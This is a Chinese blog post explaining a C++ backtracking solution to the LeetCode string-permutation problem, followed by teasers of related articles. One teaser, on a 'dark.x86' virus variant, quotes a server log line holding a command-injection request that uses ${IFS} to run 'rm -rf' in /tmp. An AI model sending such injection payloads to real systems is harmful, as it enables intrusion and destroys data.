【LeetCode】剑指 Offer(20)

news2024/11/26 1:56:08

目录

题目:剑指 Offer 38. 字符串的排列 - 力扣(Leetcode)

题目的接口:

解题思路:

代码:

过啦!!!

写在最后:


题目:剑指 Offer 38. 字符串的排列 - 力扣(Leetcode)

题目的接口:

class Solution {
public:
    vector<string> permutation(string s) {

    }
};

解题思路:

知道题用到的是回溯的思想,

但是我之前没有做过回溯的题目,

所以可能在理解上有一点不太到位,请见谅:

我的思路是使用一个string来模拟每种情况,然后push进一个数组;

建一个类型是bool的数组用来判断字符串中的字符使用情况(哪个用了,哪个没用);

为了更好的剪枝(删除重复情况),用排序将将相同的字母连在一起,

开始回溯:

如果情况成立,就push进数组;

通过循环遍历(以每个字符开始,有不同情况)

如果出现:同一层两个字符相等,且上一个字符用之前过,证明重复了(剪枝)

最后回溯完返回即可。

代码:

class Solution {
public:
    //这是要返回的数组
    vector<string> res;

    vector<string> permutation(string s) {
        //判断字符串为空的情况
        if(s.size() == 0)   
        {
            return {};
        }

        //建一个string用来接收每种情况
        string tmp;

        //用这个数组来判断该位置有无字符(并初识化)
        vector<bool> used(s.size());

        //排序,将相同的字母连在一起
        sort(s.begin(), s.end());

        //回溯
        backtrack(s, tmp, used);

        //返回
        return res;
    }
private:
    void backtrack(string s, string& tmp, vector<bool>& used)
    {
        //一种情况成立,push进res
        if(s.size() == tmp.size())
        {
            res.push_back(tmp);
            return;
        }

        //循环遍历每一个位置的每一种情况
        for(int i = 0; i < s.size(); i++)
        {
            //如果该位置有字符了,就不进去,让i继续++
            if(!used[i])
            {
                //如果字符串s出现同一层两个字符相等,且上一个字符用之前过,证明重复了
                if(i >= 1 && s[i - 1] == s[i] && !used[i - 1])
                {
                    continue;
                }

                //插入
                tmp.push_back(s[i]);

                //表示这个位置已经有字符了
                used[i] = true;

                //继续回溯
                backtrack(s, tmp, used);

                //返回上一层
                tmp.pop_back();

                //表示这个位置没有字符了(这样就能继续往tmp里面插入字符)
                used[i] = false;
            }
        }
    }
};

有很多题目思路很复杂,不可能只靠写一道题目就学会,

需要多去刷一些同类型的题目,才能更好的学习。

过啦!!!

写在最后:

以上就是本篇文章的内容了,感谢你的阅读。

如果喜欢本文的话,欢迎点赞和评论,写下你的见解。

如果想和我一起学习编程,不妨点个关注,我们一起学习,一同成长。

之后我还会输出更多高质量内容,欢迎收看。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/401200.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一文读懂无线信道传播的各种特性

通过无线信道传播的信号沿着大量不同的路径到达目的地&#xff0c;这些不同路径称为多径。图 1 是一位沿公路驾车的典型移动用户的图形。该图描述了从发射机到接收机的众多信号路径中的三条。这些路径源自环境中物体对辐射能的散射、反射和衍射或者媒介中的折射。各种传播机制对…

mac系统手册(帮助/说明)

文章目录1. mac自带的帮助文档2. Mac使用技巧&#xff08;提示&#xff09;2.1 聚焦搜索2.2 截图&#xff08;录制屏幕&#xff09;2.3 调出右键菜单2.4 快速查看2.5 翻译2.5.1 词典解释2.5.2 翻译&#xff08;字、词和句&#xff09;3. macOS使用手册3.1 在聚焦中进行计算和转…

C51---串口发送字符串

1.Code: #include "reg52.h" #include "intrins.h" sfr AUXR 0x8E; void UartInit(void) //9600bps11.0592MHz { PCON & 0x7F; //波特率不倍速 SCON 0x50; //8位数据,可变波特率 AUXR & 0xBF; //定时器…

100种思维模型之认知资源思维模型-030

我们常说&#xff0c;一个人永远也赚不到自己认知以外的钱&#xff0c;这话的确很有道理&#xff0c;被无数人所推崇。 由此&#xff0c;不难看出&#xff0c;认知在我们的生活起着多么关键的作用。 你的认知层次越高&#xff0c;范围越广&#xff0c;就意味着你这个人所处的阶…

SpringMVC程序开发

目录 SpringMVC 1、MVC定义 2、MVC和SpringMVC之间的关系 学SpringMVC 1、Spring MVC的创建和连接 浏览器获取前端接口和后端程序连接功能实现 2、获取参数 2.1、传递单个参数/多个参数 2.2、传递对象 2.3、传递表单参数 2.4、后端参数重命名 2.5、RequestBody接收J…

postgres源码解析52 磁盘管理器--1

简介 postgres中的磁盘管理器SMGR对外提供了管理磁盘介质的接口&#xff0c;其主要实现在md.c文件中。磁盘管理器并非对磁盘上的文件直接进行操作&#xff0c;而是通过VFD机制进行文件操作。凡是对存储在磁盘中的表进行访问操作均会与磁盘管理器打交道&#xff0c;由它进行统一…

145页企业数字化转型大数据湖项目建设和运营综合解决方案WORD

本资料来源公开网络&#xff0c;仅供个人学习&#xff0c;请勿商用。部分资料内容&#xff1a; 2 需求分析 2.1功能需求 数据湖的应用、管控、展示为一体&#xff0c;提供标准的服务和数据接口和报表展现方式。数据湖数据采用高效&#xff0c;可靠的存储架构。企业业务数据制订…

【0基础学爬虫】爬虫基础之网页基本结构

大数据时代&#xff0c;各行各业对数据采集的需求日益增多&#xff0c;网络爬虫的运用也更为广泛&#xff0c;越来越多的人开始学习网络爬虫这项技术&#xff0c;K哥爬虫此前已经推出不少爬虫进阶、逆向相关文章&#xff0c;为实现从易到难全方位覆盖&#xff0c;特设【0基础学…

不用vdom的lit框架学习1:安装和编译

上一篇文章讲了我们不得不在部分页面将vuepress换用其他框架的原因&#xff0c;这里我们用了一个新的&#xff0c;号称轻量级的lit框架。 主要原因&#xff1a; 1&#xff09;我们只是部分页面使用&#xff0c;不要要太重的 2&#xff09;vite默认创建有这个选项…… 我们依…

centos 7下JDK8安装

下载安装包https://www.oracle.com/java/technologies/downloads/#java8-linux上传路径 /usr/local&#xff08;替换为自己需要安装的路径&#xff09;解压tar -zxvf jdk-8u131-linux-x64.tar.gz配置环境变量[rootlocalhost java]# vi /etc/profile添加如下配置在配置文件最后&…

C++实现红黑树(RBTree) + 模拟实现map set

目录 一、红黑树(RBTree) 1.1 红黑树概念与性质 1.2 红黑树节点的定义 1.3 红黑树模拟实现 1.3.1 红黑树成员框架 1.3.2 红黑树调整情形 1.3.3 insert() 插入结点 1.3.4 IsBalanceTree() 判断是否为平衡搜索树 二、关联式容器与键值对 2.1 关联式容器概念 2.2 键值对…

python趣味编程-盒子追逐者游戏

在上一期我们用Python实现了一个奥赛罗游戏的游戏&#xff0c;这一期我们继续使用Python实现一个简单的盒子追逐追逐者游戏&#xff0c;让我们开始今天的旅程吧~ 在Python自由源代码中使用Turtle的盒子追逐者游戏 在Python中使用Turtle的盒子追逐者游戏 是一个以 python 程序设…

数据库索引原理

数据库索引的作用是做数据的快速检索&#xff0c;而快速检索实现的本质是数据结构。像二叉树、红黑树、AVL树、B树、B树、哈希等数据结构都可以实现索引&#xff0c;但其中B树效率最高。MySQL数据库索引使用的是B树。二叉树&#xff1a;二叉树中&#xff0c;左子树比根节点小&a…

C++回顾(十六)—— 异常处理机制

16.1 异常的基本语法 1&#xff09; 若有异常则通过throw操作创建一个异常对象并抛掷。2&#xff09; 将可能抛出异常的程序段嵌在try块之中。控制通过正常的顺序执行到达try语句&#xff0c;然后执行try块内的保护段。3&#xff09; 如果在保护段执行期间没有引起异常&#xf…

dark.x86病毒新变种

病毒行为类似https://www.cnblogs.com/wangbingbing/p/15319257.html依然是来自俄罗斯莫斯科的病毒。旧病毒换了个伪装程序查服务器nginx日志发现一个异常请求170.254.229.130 - - [09/Mar/2023:07:19:08 0800] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;rm${IFS}-rf${IFS}*;$…

4个顶级的华为/小米/OPPO/Vivo手机屏幕解锁工具软件

有好几次用户发现自己被锁定在他们的华为/小米/OPPO/Vivo设备之外&#xff0c;我们知道这可能是一种非常可怕的体验。在这种情况下&#xff0c;找到安卓手机解锁软件&#xff0c;重新获得手机中重要数据和文件的访问权限。看看这篇文章&#xff0c;因为我们将与您分享什么是解锁…

DML 添加、修改、删除数据

目录 DML 一、添加数据 1、给指定字段添加数据 2、给全部字段添加数据 3、批量添加数据 二、修改数据 三、删除数据 DML DML英文全称是Data Manipulation Language(数据操作语言)&#xff0c;用来对数据库中表的数据记录进行增、删、改操作。 一、添加数据 1、给指定字…

中国人民大学与加拿大女王大学金融硕士——沉淀自己是最好的升华

三毛曾说过&#xff1a;“给自己时间&#xff0c;不要焦虑&#xff0c;一步一步来&#xff0c;一日一日过&#xff0c;请相信生命的韧性是惊人的&#xff0c;跟自己的心去合作&#xff0c;不要放弃对自己的爱护”。当你的能力还驾驭不了你的目标时&#xff0c;你就应该沉下心来…

如何配置用于构建 FastReport Online Designer 的 API ?

FastReport Online Designer 是一个跨平台的报表设计器&#xff0c;允许通过任何平台的移动设备创建和编辑报表。今天我们就一起来看看在2023版中新增和改进的功能有哪些&#xff0c;点击下方可以获取最新版免费试用哦&#xff01; FastReport Onlin Designe最新版试用https:/…

市场营销的核心是什么?

之所以写下「市场营销的核心是什么&#xff1f;」这篇文章&#xff0c;是因为这几天刚读完了《经理人参阅&#xff1a;市场营销》这本书。作为一个有着近十年工作经验的市场营销从业人员&#xff0c;看完这本书也产生了很多新的想法&#xff0c;也想记录一下&#xff0c;遂成此…